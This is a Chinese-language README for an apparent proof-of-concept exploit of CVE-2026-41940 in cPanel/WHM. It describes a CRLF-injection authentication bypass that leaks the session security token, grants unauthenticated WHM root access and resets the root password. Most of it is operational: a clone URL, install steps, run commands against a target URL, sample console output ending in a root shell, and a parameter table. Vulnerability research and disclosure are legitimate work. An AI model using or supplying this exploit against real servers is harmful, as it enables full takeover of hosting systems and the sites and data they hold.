CVE-2026-41940 是一个针对 cPanel/WHM 的概念验证(PoC)利用程序。
该利用程序演示了利用 CRLF 注入实现未认证身份验证绕过,从而泄露安全令牌并获得 WHM 界面的 root 级访问权限,可执行更改 root 密码等操作。
免责声明: 此 PoC 仅用于教育目的。请勿在未经许可的系统上使用。
cp_security_token。requests 库即可运行。git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
pip install requests
依赖要求:
requests、urllib3
python3 CVE_2026_41940.py --target <目标URL> --password <新密码>
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!
控制台显示:
[0-4][+][!][*]示例:
[0] hostname = target.local
[1] minting a preauth session...
session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.12"}
[*] changing the root password
passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell
| 参数 | 描述 | 必填 | 默认值 |
|---|
--target | WHM 目标 URL(例如:https://host:2087) | 是 | - |
--password | root 用户的新密码 | 是 | - |
--hostname | 覆盖 Host: 头 | 否 | 自动 |